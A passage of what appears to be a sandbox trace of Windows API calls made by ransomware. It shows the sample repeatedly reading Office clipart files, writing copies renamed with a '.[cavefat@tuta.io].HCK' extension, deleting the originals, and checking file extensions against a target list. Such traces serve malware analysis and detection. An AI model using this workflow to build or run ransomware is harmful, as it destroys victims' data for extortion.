out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.547] SetEndOfFile (hFile=0x370) returned 1 [0178.548] CloseHandle (hObject=0x370) returned 1 [0178.549] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.549] SetEndOfFile (hFile=0x2fc) returned 1 [0178.550] CloseHandle (hObject=0x2fc) returned 1 [0178.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf")) returned 1 [0178.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0178.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0178.554] lstrlenW (lpString=".doc") returned 4 [0178.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.554] lstrlenW (lpString=".docx") returned 5 [0178.554] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.554] lstrlenW (lpString=".pdf") returned 4 [0178.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.554] lstrlenW (lpString=".xls") returned 4 [0178.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.554] lstrlenW (lpString=".xlsx") returned 5 [0178.554] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.554] lstrlenW (lpString=".ppt") returned 4 [0178.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0178.554] lstrlenW (lpString=".zip") returned 4 [0178.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.554] lstrlenW (lpString=".rar") returned 4 [0178.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.554] lstrlenW (lpString=".bz2") returned 4 [0178.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.554] lstrlenW (lpString=".7z") returned 3 [0178.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0178.554] lstrlenW (lpString=".dbf") returned 4 [0178.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0178.554] lstrlenW (lpString=".1cd") returned 4 [0178.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0178.554] lstrlenW (lpString=".jpg") returned 4 [0178.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0178.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0178.554] lstrlenW (lpString=".doc") returned 4 [0178.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.555] lstrlenW (lpString=".docx") returned 5 [0178.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.555] lstrlenW (lpString=".pdf") returned 4 [0178.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.555] lstrlenW (lpString=".xls") returned 4 [0178.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.555] lstrlenW (lpString=".xlsx") returned 5 [0178.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.555] lstrlenW (lpString=".ppt") returned 4 [0178.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0178.555] lstrlenW (lpString=".zip") returned 4 [0178.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.555] lstrlenW (lpString=".rar") returned 4 [0178.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.555] lstrlenW (lpString=".bz2") returned 4 [0178.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.555] lstrlenW (lpString=".7z") returned 3 [0178.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0178.555] lstrlenW (lpString=".dbf") returned 4 [0178.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0178.555] lstrlenW (lpString=".1cd") returned 4 [0178.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0178.555] lstrlenW (lpString=".jpg") returned 4 [0178.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.555] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.555] lstrlenW (lpString="NA01152_.WMF") returned 12 [0178.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.560] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=8752) returned 1 [0178.560] CloseHandle (hObject=0x3a4) returned 1 [0178.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01152_.wmf")) returned 0x220 [0178.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01152_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.567] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.567] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01152_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.572] GetLastError () returned 0x0 [0178.572] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2230, lpOverlapped=0x0) returned 1 [0178.574] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2240, lpOverlapped=0x0) returned 1 [0178.575] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.575] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.575] SetEndOfFile (hFile=0x370) returned 1 [0178.576] CloseHandle (hObject=0x370) returned 1 [0178.577] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.578] SetEndOfFile (hFile=0x2fc) returned 1 [0178.580] CloseHandle (hObject=0x2fc) returned 1 [0178.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01152_.wmf")) returned 1 [0178.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF") returned 68 [0178.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF") returned 68 [0178.584] lstrlenW (lpString=".doc") returned 4 [0178.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.584] lstrlenW (lpString=".docx") returned 5 [0178.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.584] lstrlenW (lpString=".pdf") returned 4 [0178.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.585] lstrlenW (lpString=".xls") returned 4 [0178.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.585] lstrlenW (lpString=".xlsx") returned 5 [0178.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.585] lstrlenW (lpString=".ppt") returned 4 [0178.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF") returned 68 [0178.585] lstrlenW (lpString=".zip") returned 4 [0178.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.585] lstrlenW (lpString=".rar") returned 4 [0178.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.585] lstrlenW (lpString=".bz2") returned 4 [0178.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.585] lstrlenW (lpString=".7z") returned 3 [0178.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF") returned 68 [0178.585] lstrlenW (lpString=".dbf") returned 4 [0178.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF") returned 68 [0178.585] lstrlenW (lpString=".1cd") returned 4 [0178.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF") returned 68 [0178.585] lstrlenW (lpString=".jpg") returned 4 [0178.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF") returned 68 [0178.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF") returned 68 [0178.585] lstrlenW (lpString=".doc") returned 4 [0178.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.585] lstrlenW (lpString=".docx") returned 5 [0178.585] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.585] lstrlenW (lpString=".pdf") returned 4 [0178.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.585] lstrlenW (lpString=".xls") returned 4 [0178.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.585] lstrlenW (lpString=".xlsx") returned 5 [0178.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.585] lstrlenW (lpString=".ppt") returned 4 [0178.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF") returned 68 [0178.585] lstrlenW (lpString=".zip") returned 4 [0178.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.585] lstrlenW (lpString=".rar") returned 4 [0178.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.586] lstrlenW (lpString=".bz2") returned 4 [0178.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.586] lstrlenW (lpString=".7z") returned 3 [0178.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF") returned 68 [0178.586] lstrlenW (lpString=".dbf") returned 4 [0178.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF") returned 68 [0178.586] lstrlenW (lpString=".1cd") returned 4 [0178.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF") returned 68 [0178.586] lstrlenW (lpString=".jpg") returned 4 [0178.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.586] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.586] lstrlenW (lpString="NA01164_.WMF") returned 12 [0178.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01164_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.589] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2564) returned 1 [0178.589] CloseHandle (hObject=0x368) returned 1 [0178.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01164_.wmf")) returned 0x220 [0178.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01164_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.597] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.597] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01164_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.600] GetLastError () returned 0x0 [0178.601] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xa04, lpOverlapped=0x0) returned 1 [0178.602] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xa10, lpOverlapped=0x0) returned 1 [0178.603] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.603] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.603] SetEndOfFile (hFile=0x3a4) returned 1 [0178.607] CloseHandle (hObject=0x3a4) returned 1 [0178.607] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.607] SetEndOfFile (hFile=0x370) returned 1 [0178.611] CloseHandle (hObject=0x370) returned 1 [0178.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01164_.wmf")) returned 1 [0178.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF") returned 68 [0178.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF") returned 68 [0178.612] lstrlenW (lpString=".doc") returned 4 [0178.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.612] lstrlenW (lpString=".docx") returned 5 [0178.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.612] lstrlenW (lpString=".pdf") returned 4 [0178.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.612] lstrlenW (lpString=".xls") returned 4 [0178.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.612] lstrlenW (lpString=".xlsx") returned 5 [0178.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.612] lstrlenW (lpString=".ppt") returned 4 [0178.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF") returned 68 [0178.612] lstrlenW (lpString=".zip") returned 4 [0178.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.612] lstrlenW (lpString=".rar") returned 4 [0178.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.612] lstrlenW (lpString=".bz2") returned 4 [0178.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.612] lstrlenW (lpString=".7z") returned 3 [0178.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF") returned 68 [0178.613] lstrlenW (lpString=".dbf") returned 4 [0178.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF") returned 68 [0178.613] lstrlenW (lpString=".1cd") returned 4 [0178.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF") returned 68 [0178.613] lstrlenW (lpString=".jpg") returned 4 [0178.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF") returned 68 [0178.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF") returned 68 [0178.613] lstrlenW (lpString=".doc") returned 4 [0178.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.613] lstrlenW (lpString=".docx") returned 5 [0178.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.613] lstrlenW (lpString=".pdf") returned 4 [0178.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.613] lstrlenW (lpString=".xls") returned 4 [0178.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.613] lstrlenW (lpString=".xlsx") returned 5 [0178.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.613] lstrlenW (lpString=".ppt") returned 4 [0178.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF") returned 68 [0178.613] lstrlenW (lpString=".zip") returned 4 [0178.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.613] lstrlenW (lpString=".rar") returned 4 [0178.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.613] lstrlenW (lpString=".bz2") returned 4 [0178.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.613] lstrlenW (lpString=".7z") returned 3 [0178.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF") returned 68 [0178.613] lstrlenW (lpString=".dbf") returned 4 [0178.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF") returned 68 [0178.613] lstrlenW (lpString=".1cd") returned 4 [0178.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF") returned 68 [0178.613] lstrlenW (lpString=".jpg") returned 4 [0178.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.613] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.614] lstrlenW (lpString="NA01357_.WMF") returned 12 [0178.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01357_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.615] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=27638) returned 1 [0178.615] CloseHandle (hObject=0x2fc) returned 1 [0178.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01357_.wmf")) returned 0x220 [0178.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01357_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01357_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.621] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.621] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01357_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.625] GetLastError () returned 0x0 [0178.625] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x6bf6, lpOverlapped=0x0) returned 1 [0178.627] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x6c00, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6c00, lpOverlapped=0x0) returned 1 [0178.628] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.628] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.628] SetEndOfFile (hFile=0x370) returned 1 [0178.629] CloseHandle (hObject=0x370) returned 1 [0178.630] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, 